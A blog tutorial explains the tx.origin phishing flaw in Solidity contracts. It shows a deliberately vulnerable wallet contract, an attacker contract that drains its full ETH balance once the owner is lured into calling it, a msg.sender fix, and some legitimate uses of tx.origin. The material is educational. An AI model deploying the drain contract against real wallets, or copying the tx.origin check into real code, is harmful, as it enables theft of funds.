Home » Blog » Solidity Vulnerability: Phishing With tx.origin

Solidity Vulnerability: Phishing With tx.origin

Authorization is something to be taken seriously, especially in the blockchain world. In Ethereum there is a concept of tx.origin, which sounds very useful and can be when used correctly, but it is limited in the scope of what it can accomplish.

The idea behind tx.origin is to indicate who originated the transaction. However, as we will soon see this can be misleading and opens contracts up to the possibility of being exploited.

Vulnerable Contract

pragma solidity ^0.8.4;
/// This contract is vulnerable to an attack based on using tx.origin as authorization
contract VulnerableContract {
    address public owner;
    constructor() payable {
        owner = msg.sender;
    }
    /// Allow anyone to deposit ETH into the contract
    function deposit () payable external { }
    /// Allow only the owner to send ETH to _to address
    function sendTo(address payable _to, uint256 _amount) public {
        require(tx.origin == owner);
        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

In the example we have a simple contract with an owner and the ability for that owner to send ETH to another address.

The require function is making sure the tx.origin and owner are the same. This is intended to prevent any unauthorized addresses from withdrawing ETH.

Let’s see how this can be exploited

Attacker Contract

/// AttackContract is used to demo how an attack can exploit the tx.origin property
contract AttackerContract {
    address payable public owner;
    VulnerableContract vulnerableContract;
    constructor(VulnerableContract _vulnerableContract) {
        vulnerableContract = VulnerableContract(_vulnerableContract);
        owner = payable(msg.sender);
    }
  
    /// Call sendTo draining all ETH from the vulnerable contract into this contract
    function attack() public {
        vulnerableContract.sendTo(owner, address(vulnerableContract).balance);
    }
}

This contract will call the sendTo function on the vulnerable contract and have it send all the ETH of that contract to the attacker contract.

Now, all the attacker has to do is convince the owner of the vulnerable contract to call the attack function.

Poorly named on my part if I wanted to convince someone, but how great does a function called itsForTheKids sound? I am just asking for a small donation to help the kids.

Since it was the owner of the vulnerable contract who initiated the transaction, require(tx.origin == owner) will succeed and allow the attacker to withdraw all the ETH.

Prevention

The easiest way to prevent this from occurring is to use msg.sender instead of tx.origin. So, the vulnerable contract’s sendTo function would now look like this.

/// Allow only the owner to send ETH to _to address
function sendTo(address payable _to, uint256 _amount) public {
    require(msg.sender == owner);
    (bool sent, ) = _to.call{value: _amount}("");
    require(sent, "Failed to send Ether");
}

Use Case For tx.origin

If you take anything away from this, just know using tx.origin for authorization is not a good idea. However, there are a couple use cases for tx.origin.

By using tx.origin you are able to check what address initiated the call to your contract. This could be useful if you wanted to allow/deny an address from being able to interact with your contract.

A second used case is to keep track of how often an address is initiating a call to your contract. You would be able to use tx.origin and a counter to track which addresses are initiating the most calls.

Leave a Reply

Your email address will not be published. Required fields are marked *